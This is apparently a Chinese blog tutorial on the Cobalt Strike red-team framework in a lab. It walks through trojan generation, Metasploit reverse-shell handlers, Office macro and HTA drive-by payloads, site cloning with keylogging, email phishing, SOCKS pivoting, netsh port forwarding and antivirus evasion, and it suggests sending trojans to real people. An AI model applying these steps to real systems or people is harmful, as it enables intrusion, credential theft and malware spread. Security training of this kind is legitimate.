【工具】内网渗透神器cs使用
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 前言
- 一、启动,连接服务器
- 1.1 启动服务端:
- 1.2 添加执行权限
- 1.3 客户端连接服务器
- 二、让主机上线
- 2.1 创建监听器
- 2.1 双击进入beacon
- 2.2 ? 输出帮助命令
- 2.3 直接执行目标主机的操作系统指令
- 2.1.4 查看文件
- 2.1.5 vnc桌面交互,远程控制
- 2.1.6 文件浏览
- 2.1.7 网络探测
- 2.1.8 端口扫描
- 2.1.9 进程列表
- 2.1.10 屏幕截图
- 2.1.11 代理功能
- 2.1.12 生成无状态可执行的反弹shell
- 2.2 协同操作
- 三、结合metasploit,反弹shell
- 3.1 启动msf--
- 3.2 msf exp run
- 3.3 创建cs监听器
- 四、office宏payload应用
- 4.1 创建监听器
- 4.2 生成office宏木马
- 五、信息收集
- 六、hta网页挂马
- 6.1 创建监听器
- 6.2 生成hta
- 6.3 使用文件下载
- 6.4 克隆网站
- 七、钓鱼页面应用
- 八、邮件钓鱼
- 8.1 目标邮件地址
- 8.2 邮件内容
- 8.3 加附件
- 8.4 发件人地址设置
- 九、Socks代理应用
- 9.1 sock4和sock5的区别
- 9.2 CS和msf配合做sock代理
- 9.2.1 准备环境
- 9.2.2 拿下win2003
- 9.2.3 设置代理端口
- 9.2.4 利用msf模块直接攻击
- 9.2.5 修改kali配置文件
- 9.2.6 手工创建代理: netsh端口转发(没成功)
- 1.windows代理服务器操作
- 2.netsh成功转发
- 十、cs提权与内网渗透插件
- 10.1 加载插件
- 十一、CS免杀
前言
Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS。最近这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼,密码读取等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受黑客喜爱。
Cobalt Strike分为客户端和服务端可分布式操作可以协同作战,这也是它非常牛逼的地方。但一定要架设在外网上。这款工具主要用于内网渗透以及APT攻击。
什么叫协同作战,如图:
就是比如我们买了个收费版的,将服务端安装在某个公网服务器上,然后我渗透某个目标主机时,其他人可以连接我的服务器,帮我一起搞。
项目官网:https://www.cobaltstrike.com
实验环境:
· 服务器端(Linux):192.168.79.204 靶机(windows):192.168.19.130
· 使用cobalt strike 4.8
· 实验步骤
下面我们依次讲解一下它的功能,我这里用的是4.8版本。你如果想部署到公网上来使用的话,别忘了修改一下它的默认端口,不然它的默认端口,防火墙默认是拦截的
一、启动,连接服务器
比如将我们的cs文件夹先放到我们的kali2023虚拟机中去

1.1 启动服务端:
cd CS4.8/Server

1.2 添加执行权限
chmod +x teamserver
chmod +x TeamServerImage

启动
./teamserver 192.168.79.204 test
ip地址:kali服务器的ip底地址
test:是待会靶机连接服务器的密码

默认端口为50050,在配置文件中能看到,也可以修改


有一些默认端口,默认密钥,还有如下的指纹信息,这些指纹信息,一般过天眼的时候要改一改,不然容易被检测到,暂时用不到,先不用管它。

1.3 客户端连接服务器
运行:Cobalt_Strike_CN.bat,这个是客户端,启动需要java环境不然会闪退

如下,启动客户端,输入ip,密码,端口,用户默认

Alias:是名称(随便输入)
Host:是Server端ip地址
Port:是端口号
User:登录用户名(随便输入)
Password:是靶机连接服务器的密码test
在Cobalt Strike中,alias是客户端连接标识,host和port用于指定服务端位置,user是客户端自定义名称,password是服务端访问密钥,共同确保客户端与团队服务器的安全连接与身份区分。
alias 客户端连接别名 区分同一客户端的多个连接会话,便于团队协作时识别操作来源 admin-pc
host 团队服务器IP地址 指定服务端所在主机的网络地址,客户端通过此IP定位服务端 192.168.1.100
port 服务端监听端口 服务端接收客户端连接的端口,默认50050,可通过配置文件修改 50050
user 客户端用户名 自定义的用户标识,用于团队协作时在日志和会话中区分不同操作者 team-member-01
password 服务端访问密码 验证客户端身份的密钥,由服务端启动时设置,客户端需匹配才能连接 SecurePass123!
然后就打开了客户端,如下

如果客户端 是Linux操作系统则运行以下命令,启动客户端:
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4
-XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
二、让主机上线
2.1 创建监听器


点击add之后,弹框如下

Name随便写
Payload默认
Https Hosts写server服务器ip
HTTP PORT(C2)端口随便写最好是大于1024

生成木马,它能够生成各种语言的木马,钓鱼攻击、邮件攻击等各种手段,很厉害。

比如我们生成一个windows的木马
选择刚刚设置的监听器
我这边生成的是有状态的木马,容易被检测到


这里默认是打勾的,如果目标主机是64位就勾选,是32位就不勾选,然后点击生成

看到提示,看到木马,这里我放在桌面上了


然后将木马文件复制到我的windows2003虚拟机中去

然后双击这个木马文件运行,然后看我的cs客户端,有主机就上线了

可以查看上线主机的磁盘信息,进行端口扫描,查看进程等信息。
同理如果将生成的artifact.exe作为附件发送给其他人,只要有人点击,则他的机器会上线。不过现在的电脑都装 了杀毒软件,所以payload需做免杀。
提供了强大的命令行工具:
2.1 双击进入beacon
双击进入beacon

2.2 ? 输出帮助命令
来到如下窗口,输入
?
可以查看支持哪些命令行操作

2.3 直接执行目标主机的操作系统指令
还可以直接执行目标主机的操作系统指令,如下方式,指令返回结果可能有点慢
shell ipconfig

2.1.4 查看文件

2.1.5 vnc桌面交互,远程控制

2.1.6 文件浏览

2.1.7 网络探测

2.1.8 端口扫描

2.1.9 进程列表

2.1.10 屏幕截图

2.1.11 代理功能
就是把目标主机作为你的浏览器代理
Cobalt Strike的浏览器代理功能是指通过在被控主机上注入浏览器代理DLL,将目标机指定端口作为跳板,实现攻击者利用目标机网络访问其内网资源的功能。
Cobalt Strike的浏览器代理功能允许攻击者将受控主机的浏览器进程作为代理服务器,通过配置本地浏览器的代理设置,使用目标机的网络环境访问其内网资源或隐藏自身真实IP。该功能需通过Beacon会话操作,支持将目标机端口(如123.207.x.x:端口)作为代理端点
核心用途与特点
内网穿透:利用边界被控主机访问其内网Web资源,突破网络隔离。
隐蔽性:流量经目标机浏览器进程转发,伪装成正常用户行为。
协议支持:基于Socks4协议,可转发多种应用层流量(如HTTP、FTP)

端口随便写只要自己记住就行

出现如下就设置浏览器代理成功

127.0.0.1:51899
51899这是 CS 内部使用的转发端口,不需要在浏览器配置中使用
攻击机浏览器再设置一下代理

访问成功

2.1.12 生成无状态可执行的反弹shell
2.2 协同操作
在另一台机器上上传cs客户端,安装java环境

点击客户端的bat脚本启动就行了,
如果有闪退问题那是jdk没有,
或者其他打不开的问题,那是jdk装的不对,或是版本不对,卸掉jdk重新装就行了

还能聊天

三、结合metasploit,反弹shell
在kali中开启使用命令开启metasploit,结合kali来反弹shell,也是可以的,那为什么要结合msf呢,因
为msf的功能也很强大,主机提权、各种攻击载荷、漏洞攻击等。
3.1 启动msf–
cd /usr/share/metasploit-framework/
启动msf:msfconsole
msfconsole
3.2 msf exp run
如下,可以使用xshell来玩
use exploit/multi/handler #选择工具
set payload windows/meterpreter/reverse_http #设置监听的会话(注意会话类型要和CS的会话一致)
set lhost 192.168.79.204 #设置IP地址(IP地址为kali的监听的机器的IP地址,和CS中保持一致)
set lport 7788 #设置端口(和CS中自定义的端口保持一致)
run #开始监听


set lhost 192.168.79.204 #设置IP地址(kali的)

set lport 7788 #设置端口(和CS中之后自定义的端口保持一致)

run

3.3 创建cs监听器
然后在CS中创建监听器
使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。

然后选择增加会话


选择msf那个连接
然后再看msf,就成功了,好像是网络问题,选择好了msf连接之后要等一会才会连上
如果你发现在msf中输入指令没有效果,那么ctrl+c结束一下,然后通过sessions -i找到会话,继续通过sessions -i id值,就可以了。


可以看到拿到了157靶机的shell
也就是说,CS建立的连接会话可以派生到msf中,派生之后有个最大的优点就是,msf可以让这个会话在后台运行,执行 background 指令,继续进行其他的攻击。
四、office宏payload应用
在你的目标主机上要装上office才行,不然都不能打开word文档。
4.1 创建监听器

地址位cs服务器地址,端口写12345
4.2 生成office宏木马

选择刚才创建的监听器,点击生成

会看到如下提示,告诉具体怎么做,先点击copy,这就是生成的宏木马程序代码,一会在word文档中创建宏之后,将程序复制到里面,比如我现在给它起个名字叫宏木马。

然后关闭这个提示。
找到目标主机,打开目标主机的某个word文件


Cs 生成的代码直接放到创建里面去,注意:做试验的时候,宏的位置不要设置所有的活动模板和文档,建设应用在当前文档,不然本机所有word文档运行都会种上你的木马,另外打开word文档有宏提示,一般是word默认禁用所有宏(文件—选项—信任中心—信任中心设置里面配置)。
创建宏,我们给当前文档创建,这样就不会影响其他的word文档了。
如下,将生成的宏木马,替换到弹框的这个位置来。

保存一下,然后关闭这些弹框。

然后双击打开我们加了宏的word文档。
弹出如下提示

点击确定,然后对宏的安全性进行设置

设置位中级,然后点击确定

然后关闭文档,重新打开,提示如下,如果目标人点击了启用宏

那么主机就中招上线了
不管是高版本还是低版本的word,都存在宏木马攻击行为,所以大家下载然后打开某个word文件的时候,如果有提示你是否运行宏,那么八成是有木马的,因为一般的word文档都不会去写宏。所以其实CS这个功能还是有些缺陷的,因为通过提示用户是否运行宏,多数人会选择不运行,那就没用了。ppsx办公文件木马,就是2017年那个漏洞,直接就攻击了。目前的office办公文件钓鱼,基本上是通过这个2017年的漏洞配合我们这种word宏攻击来实现的。
五、信息收集
一般创建payload的时候,都需要先建立监听。但是创建钓鱼链接是不需要的。信息收集我们手段就是 创建钓鱼链接。


Local URL:网址路径,默认是根路径,保持默认即可
主机地址:主机地址的话实战的时候,一般是一个真正的公网ip地址,因为要诱导别人去点击,我这里写的是cs server地址
端口:默认80即可
Redirect URL:自动跳转到哪个网址
最下面勾选,通过java获取信息,快一些,不选的话用的是js,慢一点,默认即可
提示如下,点ok

那么我们的钓鱼连接就生成好了,在这里,点击copy是复制,点击kill是删掉

效果:在内网任意一个主机的浏览器上访问这个ip地址,就会中招。
http://192.168.79.204:80/
自动跳转到

打开应用信息:

会看到哪些ip地址访问了你设定那个ip地址和它用的什么系统,如果经过了公网,那么还会记录目标的 公网ip。

如果觉得给别人一个这样的 http://192.168.79.204:80// ip地址连接不太靠谱,别人不点击啊,那么我 们可以把这个地址做成url短连接的形式:
也可以通过https://bitly.com或者http://tool.chinaz.com/tools/dwz.aspx
来生成url短链接,这个url短 连接服务只要是为了用来将过长的连接缩短一下,比如
https://www.cnblogs.com/clschao/articles/10526431.html 通过在线url短连接生成器生成之后
变成这样 https://bit.ly/3viWZ2c ,短了很多。
这个信息收集的功能主要是用来收集内外网ip地址、操作系统信息、浏览器版本等信息,也可以将跳转 连接指定为木马文件的下载连接或者钓鱼网址,这个功能用户并不是很大。
六、hta网页挂马
HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的 格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。
下例代码保存为xx.hta:
<html> <head>
<title>Title of page</title> </head>
<body>
This is my first homepage. <b>This text is bold</b>
</body>
</html>

6.1 创建监听器

6.2 生成hta
如下,官方建议选择powershell,但是powershell只有win7及以上版本的系统才支持,所以一会选择目 标主机的时候,我们选一个win7的
保存文件,但是注意,主机上的杀毒工具先关闭了,不然可能会被杀掉。

6.3 使用文件下载
因为我们生成的木马文件,肯定要让别人打开下载,这个文件下载功能就能完成这个事儿,


File:选择生成的木马路径
Local URL:设置网址根目录,名字随便写
点击开始,然后弹出如下窗口

网址是:http://192.168.79.204:80/evil.hta
并且点击开始之后, evil.hta文件会自动传到cs服务端的uploads目录中。

6.4 克隆网站


Clone URL:选择要克隆哪个网站的网址
Local URL 、Local Host、Local Port保持默认
选择 evail.hta
开启键盘记录
点了开始报错

如果之前设置过钓鱼页面,记得一定要删掉,不然会克隆的时候会报错,因为两个钓鱼手段是 有冲突的。
kill掉


然后我们访问 http://192.168.79.204:80

直接运行,运行就会上

并且我们的木马生成时是开启了键盘记录的,当目标主机在刚才的网页上输入数据时,键盘记录就被记 录下来了,换其他页面是不会记录的。

七、钓鱼页面应用
同上,不过在这里提一下, CS的钓鱼功能支持使用第三方插件,功能更加强大一些,比如它能够钓windows操作系统的鱼,当你输入完用户名密码之后,弹出一个windows的屏幕保护页面,让你在输入 一次,和windows系统一样的效果,你再次输入完之后,用户名和密码就被拿走了。
八、邮件钓鱼
这里用网易163邮箱,QQ邮箱在安全这块比较严


Targets:目标邮箱地址
Template:邮件内容
Attachment:附件
Embed URL:钓鱼邮件
Mail Server:发件人的邮箱服务器配置
Bounce To:跳转到哪里
上述内容都可以通过记事本数据导入进去,我们来试一下
8.1 目标邮件地址
创建个txt文件,比如: abc.txt,内容如下,可以写多个邮箱地址,每个地址占一行就行。

8.2 邮件内容
首先,找一个真实的邮件,比如我们给自己发送一封邮件,导出

打开邮件,将收发人和时间删除,剩下的内容复制到新的txt

比如复制到2.txt中
8.3 加附件
选择好对应文件,Embed URL选择根目录那个钓鱼地址


8.4 发件人地址设置
网易163邮箱,我们先看一下设置

开启服务
记住授权码
默认普通端口是25,加密的ssl端口是465

Username 写网易的邮箱名(可能是手机号)
Password 写上面的授权码
最下面两个保持默认,然后点set
然后设置跳转地址: Bounce To,比如就设置我自己的163邮箱地址吧。
效果如下

点击send来发送邮件:


发送成功了

点击下载了附件,运行就会上线

发送的时候可能会报错,可以下载foxmail管理smtp试试看


九、Socks代理应用
9.1 sock4和sock5的区别
socks是一个协议
socks4和socks5都属于socks协议,只是由于所支持的具体应用不同而存在差异。
socks4代理只支持TCP应用,而socks5代理则可以支持TCP和UDP两种应用。不过由于socks5代理还支持各种身份验证机制,服务器端域名解析等,而socks4代理没有,所以通常对外开放的socks代理都是socks4代理,因此,UDP应用通常都不能被支持。也就是说,socks4能干的socks5都可以干,反过来就不行了。
它这个代理功能感觉不是很稳定。我就根据这个功能做一个实验,重点在于理解过程和该工具的使用 方法。
9.2 CS和msf配合做sock代理
9.2.1 准备环境
先准备环境,需要准备三个虚拟机

kali在win2003上设置一个sock代理,用来访问win7。
首选给我们的win2003虚拟机再安装一个网卡
将第二个网卡单独划分一个网段中去


然后给第二张网卡设置ip地址,比如这是为10开头的地址:


好,接下来将win7的网卡配置网段


那么此时win2003的第二张网卡和win7的网卡ip地址在同一个网段,互相能够ping通, kali和win2003的 第一张网卡在同一个网段,互相能够ping通,但是kali不能ping通win7的。
win7到win2003通畅:

win2003到win7通畅:

kali到win7,不通畅:

好,我们想让kali能够连通win7,那么就需要设置sock代理了
9.2.2 拿下win2003
首先要先通过木马控制住win2003,这个我们已经会玩了,通过windows木马就能搞定

9.2.3 设置代理端口


默认,然后Launch


选中,点击Tunnel,点击之后生成一行代码,复制到msf里面运行,就可以利用msf远程攻击那个不能直接连接的机器了

复制这行代码
setg Proxies socks4:192.168.79.204:11855
9.2.4 利用msf模块直接攻击
setg Proxies socks4:192.168.79.204:11855 ## cs生成的那段use auxiliary/scanner/portscan/tcp ## 端口扫描模块
set rhost 10.0.0.2 ## 要扫描的10段主机 win2003
run

这一步没有成功
换个方法
9.2.5 修改kali配置文件
修改kali的配置文件
默认配置文件在 /etc/proxychains.conf 或 /etc/proxychains4.conf
vim /etc/proxychains4.conf

在文件末尾添加socks4代理服务器

然后保存,退出vim
那么接下来在kali中使用相应的软件进行探测或者攻击,使用proxychains接管全局代理后,相关的程序 启动前面也要加上proxychains,才可以在程序中使用配置好的端口进行正确上网,比如nmap,使用的 时候前面要加上 proxychains nmap
使用proxychains4代理扫描内网主机
proxychains4 nmap -sP 10.0.0.2/24
这个proxychains4 就是那个sock代理连接。

还是看不明白连上没有,再试试其他方法
9.2.6 手工创建代理: netsh端口转发(没成功)
改改网路布局方式昂,
win2003两个网卡,第一个网卡桥接(192.168.79.157),第二个网卡单独在一个vlan中
([10.0.0.2])
,win7一个网卡(10.0.0.20)和win2003的第二张网卡在同一个段, kali和win2003的第一个网卡
在一个段(192.168.79.204)。那这样的话是win7属于内网机器不能上网,
win2003可以上网并且连接着内网 的win7 ,
kali可以上网,能连接win2003.我们的目标是通过kali控制不能上网的win7机器,内网渗 透。这里借助到了netsh指令,通过这个指令能做sock代理,是微软自带的, win7及之后的windows系统版 本都支持这个指令,
windows2003也支持,但是需要安装配置ipv6才行。
1.windows代理服务器操作
首先新建端口映射,以及查看转发规则建立成功
netsh interface portproxy add v4tov4 listenport=监听的端口 connectaddress=被攻击者服务器ip connectport=被攻击者服务端口
#监听的端口,自定义
#被攻击者服务器ip,比如10.0.0.4
#被攻击者服务端口
netsh interface portproxy show all #查看转发规则
被攻击者端口,比如就是我们这个网站的端口, 80端口吧,能访问这个网站表示这个端口是通畅的。

netsh interface portproxy add v4tov4 listenport=1111 connectaddress=10.0.0.20 connectport=80
拿到win2003上运行一下,注意要以管理员的身份来执行。

查看转发规则
netsh interface portproxy show all

也就是说当我们访问win2003的1111端口的时候,实际上访问的是10.0.0.20的80端口
2.netsh成功转发
可以看到成功通过端口转发,外网攻击者kali成功通过浏览器访问带了内网的web服务器业务页面。
在我们物理机上,也就是和win2003的第一张网卡在同一个局域网的主机访问一下win2003第一张网卡和1111 端口,就看到了win7的80端口效果
没成功
十、cs提权与内网渗透插件
先找一个我们已经拿到的肉鸡,比如win7的这个,如果没有的话,我们重新建立一个。

当前的用户名不是管理员,注意这是admin不是administrator
提权工具网址:https://github.com/rsmudge/Elevatekit
10.1 加载插件

看一下K8ladon第三方插件的相关功能,这是个专门做内网渗透的工具, ,加上了这些插件之后,内网渗 透就事半功倍了。也是CS牛逼的一点,可以加载各种第三方插件。
CS自带的提权,这个功能不是很好,其他的功能都还可以。

十一、CS免杀
在线shellcode生成, https://go.xn–9tr.com/
我们知道cs可以生成各类语言的payload ,一般护网中红队用c语言的比较多,生成c语言的木马之后,将 payload放到这里,点击生成,他会自动给你生成一个16进制的.exe程序,能够免杀。不信生成完之
后,我们可以放到世界杀毒网,有好多这种病毒检测网站,比如用下面这个,
https://www.virscan.org/

这些网站中调用的这些杀毒软件,他们都是对现有的病毒或者木马进行逆向功能,提权里面的特征码, 加入到自己的检测库里面,如果你给它的程序代码中有它已经存上的特征码,那么就会被检测出来。


